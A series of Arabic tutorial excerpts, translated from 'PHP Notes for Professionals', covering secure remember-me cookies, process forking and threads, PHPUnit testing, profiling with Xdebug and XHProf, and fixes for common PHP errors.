setcookie('rememberme', $cookie); } وللتحقق: function rememberMe() { $cookie = isset($_COOKIE['rememberme']) ? $_COOKIE['rememberme'] : ''; if ($cookie) { list ($user, $token, $mac) = explode(':', $cookie); if (!hash_equals(hash_hmac('sha256', $user . ':' . $token, SECRET_KEY), $mac)) { return false; } $usertoken = fetchTokenByUserName($user); if (hash_equals($usertoken, $token)) { logUserIn($user); } } } ترجمة -وبتصرف- للفصول [Security - Secure Remeber Me] من كتاب PHP Notes for Professionals book
  3. المعالجة المتعددة باستخدام دوال العمليات الفرعية المضمنة يمكنك استخدام الدوال المضمنة لتنفيذ عمليات PHP مثل عمليات فرعية forks، هذه أبسط طريقة لتحقيق عمل متوازٍ إذا كنت لا تحتاج أن تحدث خيوطك threads مع بعضها، يتيح لك هذا وضع المهام التي تستهلك الكثير من الوقت (مثل تحميل ملف إلى خادم آخر أو إرسال بريد إلكتروني) على عاتق خيط آخر لذا تزداد سرعة تحميل السكربت ويمكن استخدام نوى متعددة ولكن انتبه أنّ هذا ليس تعدد خيوط حقيقي وأنّ خيطك الأساسي لن يعرف ما يفعله الخيوط الأبناء. لاحظ أنّ هذا في نظام التشغيل ويندوز سيُظهر موجه أوامر لكل عملية فرعية تبدأها. ملف master.php: $cmd = "php worker.php 10"; // ‫نستخدم في نظام التشغيل ويندوز popen وpclose if(strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') { pclose(popen($cmd,"r")); } // ‫نستخدم في أنظمة يونكس shell exec مع علامة "&" في النهاية { exec('bash -c "exec nohup setsid '.$cmd.' > /dev/null 2>&1 &"'); } ملف worker.php: // إرسال رسائل بريد إلكتروني، تحميل ملفات، تحليل سجلات وغير ذلك $sleeptime = $argv[1]; sleep($sleeptime); إنشاء عملية ابن باستخدام fork يوجد في PHP الدالة المضمنة pcntl_fork لإنشاء عملية ابن، وهي مشابهة للدالة fork في يونكس، لا تأخذ معاملات وترجع عددًا صحيحًا يمكن استخدامه للتمييز بين العملية الأب والعملية الابن، بفرض لدينا الشيفرة التالية: <?php // ‫‎$pid معرّف العملية الابن $pid = pcntl_fork(); if ($pid == -1) { die('Error while creating child process'); } else if ($pid) { // العملية الأب } else { // العملية الابن } ?> كما تلاحظ يدل ‎-1 على حدوث خطأ وعدم إنشاء العملية الابن، عند إنشاء العملية الابن يكون لدينا عمليتان تنفذان ولكل منهما معرِّف عملية PID مختلف.⁦ يجب أن ننتبه هنا أيضًا إلى العملية الميتة zombie process أو العملية المنقطعة defunct process عندما تنتهي العملية الأب قبل العملية الابن. لمنع العملية الابن الميتة نضيفpcntl_wait($status)‎ في نهاية العملية الأب، إذ توقف هذه الدالة تنفيذ العملية الأب حتى تنتهي العملية الابن. ويجب الانتباه أيضًا إلى أنه لا يمكن قتل العملية الميتة باستخدام العلامة SIGKILL. التواصل بين العمليات يسمح التواصل بين العمليات للمبرمجين بالتواصل بين العمليات المختلفة، فمثلًا إذا احتجنا لكتابة تطبيق PHP يمكنه تنفيذ أوامر bash وطباعة الخرج، سنستخدم الدالة proc_open التي ستنفذ الأمر وتعيد موردًا يمكننا التواصل معه، تُظهر الشيفرة التالية تنفيذًا بسيطًا ينفذ الأمر pwd في bash من PHP: <?php $descriptor = array( // أنبوب من أجل مجرى الدخل القياسي للابن 0 => array("pipe", "r"), // أنبوب من أجل مجرى الخرج القياسي للابن 1 => array("pipe", "w"), ); $process = proc_open("bash", $descriptor, $pipes); if (is_resource($process)) { fwrite($pipes[0], "pwd" . "\n"); fclose($pipes[0]); echo stream_get_contents($pipes[1]); fclose($pipes[1]); $return_value = proc_close($process); } ?> تنفذ الدالة proc_open أوامر bash مع ‎$descriptor كمواصفات للواصف، ونستخدم بعدها is_resource للتحقق من صحة العملية، وعند الانتهاء يمكننا البدء بالتفاعل مع العملية الابن باستخدام ‎$pipes الذي يتولد تبعًا لمواصفات الواصف. بعد ذلك يمكننا استخدام fwrite للكتابة في مجرى الدخل القياسي للعملية الابن، وفي هذه الحالة يُتبع pwd بسطر إرجاع.، وأخيرًا نستخدم stream_get_contents للقراءة من مجرى الخرج القياسي للعملية الابن. تذكر دومًا إغلاق العملية الابن باستخدام الدالة proc_close()‎ التي ستنهي العملية الابن وتعيد شيفرة حالة الخروج. الإضافة متعددة الخيوط (Multi Threading) للبدء مع تعدد الخيوط تحتاج لتثبيت الإضافة pthreads ويمكنك القيام بذلك بكتابة: $ pecl install pthreads وإضافة المدخل إلى ملف php.ini. مثال بسيط باستخدام دلالات PHP7: <?php class MyThread extends Thread { /** * @var string * متغير يتضمن الرسالة التي ستُعرض */ private $message; public function __construct(string $message) { // ضبط قيمة الرسالة لهذا الكائن المحدد $this->message = $message; } // العمليات التي تؤدى في هذه الدالة تُنفَّذ في الخيط الآخر public function run() { echo $this->message; } } // ‫تهيئة الكائن MyThread $myThread = new MyThread("Hello from an another thread!"); // ابدأ الخيط، ومن الجيد أيضًا الانضمام إلى الخيط بشكلٍ صريح // ‫نستخدم Thread::start()‎ لتهيئة الخيط $myThread->start(); // ‫تسبب التعليمة Thread::join()‎ أن ينتظر السياق الخيط حتى انتهاء التنفيذ $myThread->join(); استخدام المجمعات (pools) والتوابع (workers) توفر التجميعات مستوى تجريدي أعلى لوظيفة التابع، بما في ذلك إدارة المراجع بالطريقة التي تطلبها pthreads (انظر هذه الصفحة). توفر المجمعات والتوابع مستوى تحكم أعلى وسهولة في إنشاء تعددية الخيوط. <?php // (1) class AwesomeWork extends Thread { private $workName; /** * @param string $workName * اسم العمل الذي سيُعطى لكل عمل */ public function __construct(string $workName) { // (2) $this->workName = $workName; printf("A new work was submitted with the name: %s\n", $workName); } public function run() { // (3) $workName = $this->workName; printf("Work named %s starting...\n", $workName); printf("New random number: %d\n", mt_rand()); } } // إنشاء عامل فارغ class AwesomeWorker extends Worker { public function run() { // (4) } } // (5) $pool = new \Pool(1, \AwesomeWorker::class); // (6) $pool->submit(new \AwesomeWork("DeadlyWork")); $pool->submit(new \AwesomeWork("FatalWork")); // (7) $pool->shutdown(); في الموضع (1) يوجد العمل الذي سيُنفَّذ من قِبل العامل، يحتاج هذا الصنف أن يرث الصنف ‎\Threaded أو ‎\Collectable أو ‎\Thread. في الموضع (2) كتلة الشيفرة في باني عملك والتي ستُنفَّذ عندما يُرسل عمل إلى مجمعك. في الموضع (3) ستُستدعى هذه الكتلة من الشيفرة من قِبل التابع، وستُنفَّذ كل شيفرة التابع في خيط آخر. في الموضع (4) يمكنك وضع بعض الشيفرة هنا والتي سينفذها العامل قبل بدء العمل. في الموضع (5) إنشاء كائن Pool جديد يقبل معاملين، الأول هو عدد العمال الأعظمي الذي يمكن إنشاؤه في المجمع، والثاني هو اسم صنف العامل. في الموضع (6) تحتاج إلى إرسال أعمالك بدلًا من نسخة الكائنات التي ترث الصنف ‎\Threaded. في الموضع (7) نحتاج إلى إيقاف المجمع بشكلٍ صريح وإلا قد يحصل شيء ما غير متوقع. ترجمة -وبتصرف- للفصول [Multiprocessing - Multi Threading Extension] من كتابPHP Notes for Professionals book
  4. قواعد صنف الاختبار بفرض لدينا الصنف LoginForm مع التابع rules()‎، والذي يستخدم في صفحة تسجيل الدخول مثل قالب لإطار العمل: class LoginForm { public $email; public $rememberMe; public $password; // (1) public function rules() { return [ // البريد الإلكتروني وكلمة السر مطلوبان [['email', 'password'], 'required'], // يجب أن يكون البريد الإلكتروني بصياغة بريد إلكتروني ['email', 'email'], // ‫يجب أن يكون الحقل rememberMe قيمة منطقية ['rememberMe', 'boolean'], // ‫يجب أن تطابق كلمة السر هذا النمط (أي تحوي أحرف وأرقام فقط) ['password', 'match', 'pattern' => '/^[a-z0-9]+$/i'], ]; } // ‫تتحقق هذه الدالة من صحة القواعد الممررة public function validate($rule) { $success = true; list($var, $type) = $rule; foreach ((array) $var as $var) { switch ($type) { case "required": $success = $success && $this->$var != ""; break; case "email": $success = $success && filter_var($this->$var, FILTER_VALIDATE_EMAIL); break; case "boolean": $success = $success && filter_var($this->$var, FILTER_VALIDATE_BOOLEAN, FILTER_NULL_ON_FAILURE) !== null; break; case "match": $success = $success && preg_match($rule["pattern"], $this->$var); break; default: throw new \InvalidArgumentException("Invalid filter type passed") } } return $success; } } في الموضع (1) يعيد التابع rules()‎ مصفوفة بمتطلبات كل حقل، يستخدم نموذج تسجيل الدخول البريد الإلكتروني وكلمة المرور لاستيثاق المستخدم. نستخدم اختبار الوحدات لإجراء الاختبارات على هذا الصنف، أي للتحقق من الشيفرة المصدرية لمعرفة إذا كانت تناسب توقعاتنا: class LoginFormTest extends TestCase { protected $loginForm; // تنفيذ الشيفرة في بداية الاختبار public function setUp() { $this->loginForm = new LoginForm; } // (1) public function testRuleValidation() { $rules = $this->loginForm->rules(); // التهيئة للتحقق من صحة واختبار البيانات التالية $this->loginForm->email = "valid@email.com"; $this->loginForm->password = "password"; $this->loginForm->rememberMe = true; $this->assertTrue($this->loginForm->validate($rules), "Should be valid as nothing is invalid"); // اختبار صحة البريد الإلكتروني // بما أننا حددنا أن يكون البريد الإلكتروني بصياغة بريد إلكتروني فلا يمكن أن يكون فارغًا­ $this->loginForm->email = ''; $this->assertFalse($this->loginForm->validate($rules), "Email should not be valid (empty)"); // ‫لا يحتوي البريد الإلكتروني على العلامة "@" لذا فهو غير صحيح $this->loginForm->email = 'invalid.email.com'; $this->assertFalse($this->loginForm->validate($rules), "Email should not be valid (invalid format)"); // قيمة صحيحة للبريد الإلكتروني من أجل الاختبار التالي $this->loginForm->email = 'valid@email.com'; // ‫اختبار صحة كلمة المرور والتي يجب ألا تكون فارغة (بما أنها مطلوبة) $this->loginForm->password = ''; $this->assertFalse($this->loginForm->validate($rules), "Password should not be valid (empty)"); // قيمة صحيحة لكلمة المرور من أجل الاختبار التالي $this->loginForm->password = 'ThisIsMyPassword'; // ‫اختبار صحة الحقل rememberMe $this->loginForm->rememberMe = 999; $this->assertFalse($this->loginForm->validate($rules), "RememberMe should not be valid (integer type)"); // ‫قيمة صحيحة للحقل rememberMe من أجل الاختبار التالي $this->loginForm->rememberMe = true; } } في الموضع (1) يجب أن نستخدم التابع validate()‎ للتحقق من صحة قواعدنا، يعود التابع testRuleValidation()‎ إلى اختبار الوحدة الخاص بالصنف LoginFormTest ويختبر القواعد المذكورة سابقًا. كيف يمكن أن يساعد اختبار الوحدات هنا (باستثناء الأمثلة العامة)؟ يناسبنا عند الحصول على نتائج غير متوقعة مثلًا، بفرض لدينا هذه القاعدة: ['password', 'match', 'pattern' => '/^[a-z0-9]+$/i'], إذا نسينا شيئًا واحدًا مهمًا وكتبنا: ['password', 'match', 'pattern' => '/^[a-z0-9]$/i'], من الصعب اكتشاف الأخطاء مع وجود عشرات القواعد المختلفة، وبفرض أننا لا نستخدم البريد الإلكتروني وكلمة المرور فقط، إليك اختبار الوحدة هذا: // التهيئة للتحقق من صحة واختبار البيانات التالية $this->loginForm->email = "valid@email.com"; $this->loginForm->password = "password"; $this->loginForm->rememberMe = true; $this->assertTrue($this->loginForm->validate($rules), "Should be valid as nothing is invalid"); سيمرر هذا الاختبار مثالنا الأول وليس الثاني لأنه لدينا خطأ مطبعي في المثال الثاني (لم نكتب علامة +)، مما يعني أنه سيقبل حرف/رقم واحد فقط. يمكن تنفيذ اختبار الوحدات في الطرفية باستخدام الأمر phpunit [path_to_file]‎، إذا كان كل شيء صحيحًا، يجب أن نكون قادرين على رؤية الحالة OK لكل الاختبارات وإلا سنرى إما Error لخطأ في الصيغة، أو Fail على الأقل لسطر واحد لم يُمرَّر في ذلك التابع. يمكننا أيضًا باستخدام معاملات إضافية مثل ‎--coverage أن نحصل على عدد الأسطر المُختبرة من الشيفرة في الواجهة الخلفية backend وأيها نجحَ/فشلَ، يُطبَّق هذا على أي إطار عمل ثبّتَ PHPUnit. إليك مثال عن طريقة ظهور اختبار PHPUnit في الطرفية، وهو مثال عام وليس له صلة بمثالنا: مقدمو بيانات PHPUnit تحتاج توابع الاختبار عادةً إلى بيانات لتُختَبر بها، ولاختبار بعض التوابع كاملةً تحتاج لتوفير مجموعات بيانات مختلفة لكل حالة تختبار ممكنة، يمكنك القيام بذلك يدويًا باستخدام الحلقات، مثال: ... public function testSomething() { $data = [...]; foreach($data as $dataSet) { $this->assertSomething($dataSet); } } ... يمكن أن تجد هذه الطريقة مريحة ولكن لها بعض العيوب، أولًا عليك أن تؤدي إجراءات إضافية لاستخراج البيانات إذا كانت دالة الاختبار تقبل عدة معاملات، ثانيًا سيكون من الصعب في حالة الفشل تمييز مجموعة البيانات الخاطئة بدون تنقيح أخطاء ورسائل إضافية، ثالثًا يوفر PHPUnit طريقة تلقائية للتعامل مع مجموعات بيانات الاختبار باستخدام مقدمي البيانات. مقدم البيانات دالة يجب أن ترجع بيانات حالة الاختبار الخاصة بك، ويجب أن تكون هذه الدالة عامة وترجع إما مصفوفة من المصفوفات أو كائن ينفّذ الواجهة Iterator ويُرجع مصفوفة لكل خطوة تكرارية. كل مصفوفة جزء من المجموعة collection التي سيستدعيها تابع الاختبار مع محتويات المصفوفة كوسائط لها. لاستخدام مقدم البيانات مع الاختبار نستخدم التوصيف ‎@dataProvider مع اسم دالة مقدم البيانات المحددة: /** * @dataProvider dataProviderForTest */ public function testEquals($a, $b) { $this->assertEquals($a, $b); } public function dataProviderForTest() { return [ [1,1], [2,2], [3,2] //this will fail ]; } مصفوفة مصفوفات لاحظ أنّ الدالة dataProviderForTest()‎ ترجع مصفوفة من مصفوفات، كل مصفوفة متداخلة تحتوي عنصرين سيملآن المعاملات الضرورية للدالة testEquals()‎، إذا لم يكن هناك عناصر كافية سيُرمى خطأ مشابه للخطأ التالي: Missing argument 2 for Test::testEquals()‎ حيث سيمر PHPUnit تلقائيًا على كل البيانات وينفذ الاختبارات، كما هو ظاهر فيما يأتي: public function dataProviderForTest() { return [ [1,1], // [0] testEquals($a = 1, $b = 1) [2,2], // [1] testEquals($a = 2, $b = 2) [3,2] // [2] There was 1 failure: 1) Test::testEquals with data set #2 (3, 4) ]; } يمكن أن تُسمَّى كل مجموعة بيانات ليكون من الأسهل اكتشاف بيانات الفشل: public function dataProviderForTest() { return [ 'Test 1' => [1,1], // [0] testEquals($a = 1, $b = 1) 'Test 2' => [2,2], // [1] testEquals($a = 2, $b = 2) 'Test 3' => [3,2] // [2] There was 1 failure: // 1) Test::testEquals with data set "Test 3" (3, 4) ]; } المكررات class MyIterator implements Iterator { protected $array = []; public function __construct($array) { $this->array = $array; } function rewind() { return reset($this->array); } function current() { return current($this->array); } function key() { return key($this->array); } function next() { return next($this->array); } function valid() { return key($this->array) !== null; } } ... class Test extends TestCase { /** * @dataProvider dataProviderForTest */ public function testEquals($a) { $toCompare = 0; $this->assertEquals($a, $toCompare); } public function dataProviderForTest() { return new MyIterator([ 'Test 1' => [0], 'Test 2' => [false], 'Test 3' => [null] ]); } } كما تلاحظ، فإنَّ المكرِّر البسيط يعمل أيضًا، وأنّ مقدم البيانات يجب أن يرجع مصفوفة ‎$parameter حتى من أجل معامل واحد. إذا غيّرنا التابع current()‎ الذي يعيد البيانات في كل تكرار، بالشكل التالي: function current() { return current($this->array)[0]; } أو غيّرنا البيانات الفعلية: return new MyIterator([ 'Test 1' => 0, 'Test 2' => false, 'Test 3' => null ]); سنحصل على خطأ: There was 1 warning: 1) Warning The data provider specified for Test::testEquals is invalid. من غير المفيد طبعًا استخدام الكائن Iterator لتكرار محتويات مصفوفة بسيطة، يجب أن ينفّذ بعض المنطق المحدد لحالتك. المولدات generators لم يُشار إليها بشكلٍ صريح في التوثيق الرسمي لكن يمكنك استخدامها كمقدم بيانات أيضًا­، لاحظ أنّ الصنف Generator ينفّذ الواجهة Iterator فعليًا، إليك مثال عن استخدام DirectoryIterator مع مولِّد: /** * @param string $file * * @dataProvider fileDataProvider */ public function testSomethingWithFiles($fileName) { // ‫‎$fileName متاح هنا // اختبر هنا } public function fileDataProvider() { $directory = new DirectoryIterator('path-to-the-directory'); foreach ($directory as $file) { if ($file->isFile() && $file->isReadable()) { // تنفيذ المولِّد هنا yield [$file->getPathname()]; } } } لاحظ أنّ مقدم البيانات يُرجع مصفوفة، وستحصل على تحذير أنّ مقدم البيانات غير صحيح. استثناءات الاختبار لنفرض أنك تريد اختبار تابع يرمي استثناءً. class Car { /** * @throws \Exception */ public function drive() { throw new \Exception('Useful message', 1); } } يمكنك القيام بذلك عن طريق تضمين استدعاء التابع في كتلة try/catch وإجراء توكيدات على خاصيات كائن الاستثناء، أو يمكنك استخدام توابع توكيد الاستثناء للمزيد من الملاءمة، يمكنك بدءًا من الإصدار PHPUnit 5.2 استخدام توابع expectX()‎ المتاحة لتأكيد نوع ورسالة وشيفرة الاستثناء. class DriveTest extends PHPUnit_Framework_TestCase { public function testDrive() { // التحضير $car = new \Car(); $expectedClass = \Exception::class; $expectedMessage = 'Useful message'; $expectedCode = 1; // الاختبار $this->expectException($expectedClass); $this->expectMessage($expectedMessage); $this->expectCode($expectedCode); // التنفيذ $car->drive(); } } يمكنك أن تستخدم التابع setExpectedException بدلًا من expectX()‎ إذا كنت تستخدم إصدارًا قديمًا من PHPUnit لكن تذكر أنه تابع مُهمل وسيُحذف في الإصدار 6. class DriveTest extends PHPUnit_Framework_TestCase { public function testDrive() { // التحضير $car = new \Car(); $expectedClass = \Exception::class; $expectedMessage = 'Useful message'; $expectedCode = 1; // الاختبار $this->setExpectedException($expectedClass, $expectedMessage, $expectedCode); // التنفيذ $car->drive(); } } الأداء التحليل مع Xdebug تُعَدّ إضافة Xdebug متاحةً للمساعدة في تحليل تطبيقات PHP، بالإضافة إلى تنقيح الأخطاء وقت التنفيذ، عند تنفيذ المحلل يُكتب الخرج في ملف بصياغة ثنائية تدعى cachegrind. توجد تطبيقات متوفرة على كل منصة لتحليل هذه الملفات. لتمكين التحليل نثبّت الإضافة ونعدّل إعدادات ملف php.ini. سننفذ في مثالنا المحلل اختياريًا بالاعتماد على معامل الطلب، يسمح لنا هذا بالحفاظ على الإعدادات ثابتة وتشغيل المحلل عندما نحتاج فقط. // اضبطه إلى 1 لتشغيله عند كل طلب xdebug.profiler_enable = 0 // ‫لنستخدم معامل GET/POST لتشغيل المحلِّل xdebug.profiler_enable_trigger = 1 // ‫قيمة GET/POST التي سنمررها، فارغة من أجل أي قيمة xdebug.profiler_enable_trigger_value = "" // ‫عرض ملفات الذاكرة cachegrind في المسار ‎/tmp حتى ينظفها النظام لاحقًا xdebug.profiler_output_dir = "/tmp" xdebug.profiler_output_name = "cachegrind.out.%p" ثم استخدم عميل ويب يرسل طلبًا إلى رابط التطبيق الذي ترغب بتحليله، مثل: http://example.com/article/1?XDEBUG_PROFILE=1 أثناء معالجة الصفحة للطلب سيكتب في ملف له اسم مشابه للتالي: /tmp/cachegrind.out.12345 لاحظ أنّه سيكتب ملف واحد لكل عملية/طلب PHP يُنفَّذ، لذا إذا أردت تحليل نموذج مُرسل بالطريقة POST سيُكتب تحليل واحد من أجل الطريقة GET لعرض نموذج HTML وستحتاج إلى تمرير المعامل XDEBUG_PROFILE ، من أجل الإقدام على طلب POST اللاحق لتحليل الطلب الثاني الذي يعالج النموذج، لذا فقد يكون من الأسهل تنفيذ مكتبة curl لإرسال نموذج بالطريقة POST مباشرةً عند التحليل. بمجرد أن يُكتب التحليل، فيمكنك قراءة الذاكرة المخبئية cache بتطبيق مثل KCachegrind، و، حيث سيعرض التطبيق معلومات التحليل متضمنةً: الدوال المنفَّذة وقت استدعاء الدالة بمفردها واستدعاءات الدالة اللاحقة. عدد مرات استدعاء كل دالة. رسوم بيانية للاستدعاء روابط للشيفرة المصدرية من الواضح أنّ ضبط الأداء خاص جدًا بحالات استخدام كل تطبيق، بشكل عام من الأفضل التركيز على النقاط التالية: يجب ألا ترى استدعاءات متكررة لنفس الدالة، بالنسبة للدوال التي تعالج البيانات وتستعلم عنها قد يكون هناك فرص للتخزين المؤقت. وجود دوال بطيئة التنفيذ، أين يستهلك التطبيق معظم وقته؟ أفضل عائد لضبط الأداء هو التركيز على أجزاء التطبيق التي تستهلك معظم وقته. ملاحظة: إنّ إضافة Xdebug وخاصةً ميزاتها التحليلية مكثّفة للموارد وتبطئ تنفيذ PHP، لذا يُنصح بعدم تنفيذها في بيئة خادم الإنتاج. استخدام الذاكرة يُضبط حد ذاكرة زمن تنفيذ PHP باستخدام موجّه INI الـ ‏memory_limit، حيث يمنع هذا الضبط أي تنفيذ PHP مفرد من استخدام الكثير من الذاكرة مما يؤدي إلى استنزافها من أجل السكربتات الأخرى وبرنامج النظام. حد الذاكرة الافتراضي هو 128MB ويمكن أن يتغير في ملف php.ini أو في وقت التنفيذ. يمكن أن يُضبط ليكون غير محدود لكن يعدّ هذا عمومًا ممارسةً سيئة. يمكن أن يُحدَّد الاستخدام الدقيق للذاكرة أثناء وقت التنفيذ ᠎᠎عن طريق استدعاء الدالة memory_get_usage()‎ التي تعيد عدد بايتات الذاكرة المحجوزة للسكربت الحالي المُنفَّذ. بدءًا من الإصدار PHP 5.2 يوجد لهذه الدالة معامل منطقي اختياري للحصول على ذاكرة النظام المحجوزة الكلية على عكس الذاكرة الفعالة التي تستخدمها PHP. <?php echo memory_get_usage() . "\n"; // ‫الخرج 350688 (أو شيء ما مشابه وهذا يعتمد على النظام وإصدار PHP) // ‫لنستهلك جزءًا من الذاكرة RAM $array = array_fill(0, 1000, 'abc'); echo memory_get_usage() . "\n"; // 387704 // حذف المصفوفة من الذاكرة unset($array); echo memory_get_usage() . "\n"; // 350784 تعطيك الآن الدالة memory_get_usage استخدام الذاكرة في الوقت الذي نُفِّذت فيه، قد تخصص وتلغي تخصيص الكثير من الذاكرة بين استدعاءات الدالة المتلاحقة، يمكنك استخدام الدالة memory_get_peak_usage()‎ للحصول على الحجم الأعظمي من الذاكرة المستخدمة حتى نقطة معينة. <?php echo memory_get_peak_usage() . "\n"; // 385688 $array = array_fill(0, 1000, 'abc'); echo memory_get_peak_usage() . "\n"; // 422736 unset($array); echo memory_get_peak_usage() . "\n"; // 422776 لاحظ أنّ القيمة إما سترتفع أو تبقى ثابتة. التحليل باستخدام XHProf XHProf محلل PHP مكتوب من قِبل شركة فيسبوك لتوفير بديل أخف للإضافة XDebug، يمكن تمكين/تعطيل التحليل بعد تثبيت الوحدة xhprof من شيفرة PHP: xhprof_enable(); doSlowOperation(); $profile_data = xhprof_disable(); ستحتوي المصفوفة المُرجعة على بيانات حول عدد الاستدعاءات ووقت المعالج واستخدام الذاكرة لكل دالة تم الوصول إليها من داخل doSlowOperation()‎. يمكن استخدام ‎الدالة الموالية على أساس خيار أخف لتسجيل معلومات التحليل لجزء من الطلبات فقط (وبصياغة مختلفة).⁩ xhprof_sample_enable()/xhprof_sample_disable() ولهذا يستخدم المحلل بعض الدوال المساعدة (معظمها غير موثَّق) لعرض البيانات (اطلع على هذا المثال)، أو يمكنك أاستعمال أدوات أخرى لتصورها (يمكنك الاطلاع على هذا المثال من مدونة platform.sh). ترجمة -وبتصرف- للفصول Unit Testing - Performance من كتاب PHP Notes for Professionals book
  5. أخطاء شائعة استدعاء fetch_assoc على قيمة منطقية إذا حصلت على خطأ مشابه للتالي: Fatal error: Call to a member function fetch_assoc() on boolean in C:\xampp\htdocs\stack\index.php on line 7 تتضمن الاختلافات الأخرى شيئًا ما مثل: mysql_fetch_assoc() expects parameter 1 to be resource, boolean given... تعني هذه الأخطاء أنّه يوجد شيء ما خاطئ إما مع الاستعلام (وهذا خطأ PHP/MySQL) أو مع المرجعية. أُنتج الخطأ السابق بسبب الشيفرة التالي: $mysqli = new mysqli("localhost", "root", ""); // لاحظ الأخطاء هنا $query = "SELCT * FROM db"; $result = $mysqli->query($query); $row = $result->fetch_assoc(); لإصلاح هذا الخطأ يُنصَح بجعل mysql يرمي استثناءات بدلًا من ذلك: // أضف هذه الشيفرة في بداية السكربت mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT); ستؤدي هذه الشيفرة إلى رمي استثناء مع رسالة تساعدك كثيرًا: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'SELCT * FROM db' at line 1 مثال آخر يمكن أن ينتج عنه خطأ مشابه، هو عندما تعطي معلومات خاطئة لدالة mysql_fetch_assoc أو لدالة مشابهة: $john = true; mysqli_fetch_assoc($john, $mysqli); Unexpected $end إذا حصلت على خطأ مشابه للخطأ التالي: Parse error: syntax error, unexpected end of file in C:\xampp\htdocs\stack\index.php on line 4 أو قد يكون بالشكل unexpected $end وهذا يعتمد على نسخة PHP، ستحتاج عندها إلى التأكد من جميع فواصل الاقتباس وكل الأقواس الهلالية والمعقوصة والمعقوفة…. تنتج الشيفرة التالية الخطأ السابق: <?php if (true) { echo "asdf"; ?> لاحظ عدم وجود القوس المعقوص وأنّ رقم السطر الموضح في الخطأ لا صلة له بالموضوع، لأنه دائمًا يظهر السطر الأخير من ملفك. تصريف الأخطاء والتحذيرات أخطاء التحميل غير المتوقعة وأخطاء بناء الجملة تعني العبارة "Paamayim Nekudotayim" نقطتان مزدوجتان باللغة العبرية، لذا يشير هذا الخطأ إلى الاستخدام غير المناسب للعامل (::)، ويحدث عادةً بسبب محاولة استدعاء تابع ساكن في حين أنّه في الواقع غير ساكن. الحل الممكن: $classname::doMethod(); إذا سببت الشيفرة السابقة هذا الخطأ فغالبًا أنت تحتاج إلى تغيير طريقة استدعاء التابع الآتي: $classname->doMethod(); حيث يفترض المثال الأخير أنّ ‎$classname هو كائن من صنف والتابع doMethod()‎ ليس تابعًا ساكنًا من هذا الصنف. إشعار الفهرس غير المعرف Undefined index الظهور: محاولة الوصول إلى مصفوفة عن طريق مفتاح غير موجود في المصفوفة. الحل الممكن: التحقق من التوافرية قبل محاولة الوصول وذلك باستخدام: الدالة isset()‎. الدالة array_key_exists()‎. تحذير عدم إمكانية التعديل على معلومات الترويسة أو الترويسات المرسلة سلفا يظهر هذا الخطأ عندما يحاول السكربت إرسال ترويسة HTTP إلى العميل لكن كان هناك خرج بالفعل سابقًا مما يعني أنّ الترويسات قد اُرسلت سابقًا، وقد يعود ذلك إلى: تعليمتي Print وecho: سينهي خرج هاتين التعليمتين فرصة إرسال ترويسات HTTP، يجب إعادة هيكلية تدفق التطبيق لتجنب ذلك. مناطق HTML خام: تعد شيفرة HTML غير المحللة في ملف ‎.php خرج مباشر أيضًا، يجب ملاحظة شروط السكربت التي ستشغّل استدعاء header()‎ قبل أي كتل خام. <!DOCTYPE html> <?php // فات أوان إرسال الترويسات المسافة البيضاء قبل ‎<?php من أجل التحذير script.php line 1، إذا أشار التحذير إلى الخرج في السطر 1 فغالبًا السبب هو مسافة بيضاء أو نص أو شيفرة HTML قبل وسم الفتح ‎<?php. <?php # ‫يوجد مسافة مفردة/سطر جديد قبل ‎<?‎ معالجة الاستثناءات والإبلاغ عن الأخطاء error reporting ضبط الإبلاغ عن الأخطاء وأماكن عرضها يمكن ضبط الإبلاغ عن الأخطاء بشكلٍ ديناميكي إذا لم يُضبط سابقًا في ملف php.ini وذلك للسماح بعرض معظم الأخطاء. الصيغة int error_reporting ([ int $level ] ) أمثلة // ‫يجب أن تُستخدم دائمًا في الإصدارات السابقة للإصدار 5.4 error_reporting(E_ALL); // (1) error_reporting(-1); ?// بدون ملاحظات error_reporting(E_ALL & ~E_NOTICE); // التحذيرات والملاحظات فقط // كمثال فقط، لا يُنصح بالحصول على إبلاغ عن هؤلاء فقط error_reporting(E_WARNING | E_NOTICE); في الموضع (1) يُظهر الوسيط ‎-1 كل خطأ محتمل حتى عندما تُضاف ثوابت ومستويات جديدة في إصدارات PHP المستقبلية، يقوم الوسيط E_ALL بنفس هذا العمل حتى الإصدار 5.4. ستُسجَّل الأخطاء افتراضيًا من قِبل PHP في ملف error.log في نفس مستوى الملف الذي يُنفَّذ، ويمكنك أن تعرضهم على الشاشة في بيئة التطوير: ini_set('display_errors', 1); ويجب أن تصبح الشيفرة في بيئة الإنتاج: ini_set('display_errors', 0); وستظهر رسالة المشكلة بشكلٍ واضح أثناء استخدام معالِج الاستثناء أو الخطأ. تسجيل الأخطاء الفادحة الخطأ الفادح في PHP هو نوع من الأخطاء التي لا يمكن التقاطها، لا يستأنف البرنامج تنفيذه عند التعرض لخطأ فادح، لكن لتسجيل هذا الخطأ أو معالجة الانهيار بطريقةٍ ما يمكنك استخدام register_shutdown_function لتسجيل معالج الإنهاء. function fatalErrorHandler() { // لنحصل على الخطأ الفادح الأخير $error = error_get_last(); // (1) if (null === $error || E_ERROR != $error['type']) { return; } // تسجيل الخطأ الأخير في ملف السجل // لنفرض أنّ السجلات موجودة في مجلد داخل مجلد التطبيق $logFile = fopen("./app/logs/error.log", "a+"); // الحصول على معلومات مفيدة عن الخطأ $type = $error["type"]; $file = $error["file"]; $line = $error["line"]; $message = $error["message"] fprintf( $logFile, "[%s] %s: %s in %s:%d\n", date("Y-m-d H:i:s"), $type, $message, $file, $line); fclose($logFile); } register_shutdown_function('fatalErrorHandler'); في الموضع (1) معالج الخطأ هذا فقط من أجل مثالنا، يعني عدم وجود خطأ أنّه لا يوجد أي خطأ وأنّ الإنهاء كان مناسبًا وتأكد أيضًا أنه سيعالج الأخطاء الفادحة فقط. تنقيح الأخطاء عرض المتغيرات تسمح الدالة var_dump بعرض محتويات المتغير (النوع والمتغير) لتنقيح الأخطاء. مثال $array = [3.7, "string", 10, ["hello" => "world"], false, new DateTime()]; var_dump($array); الخرج array(6) { [0]=> float(3.7) [1]=> string(6) "string" [2]=> int(10) [3]=> array(1) { ["hello"]=> string(5) "world" } [4]=> bool(false) [5]=> object(DateTime)#1 (3) { ["date"]=> string(26) "2016-07-24 13:51:07.000000" ["timezone_type"]=> int(3) ["timezone"]=> string(13) "Europe/Berlin" } } عرض الأخطاء يجب أن تمكّن الإعداد display_errors إذا أردت عرض 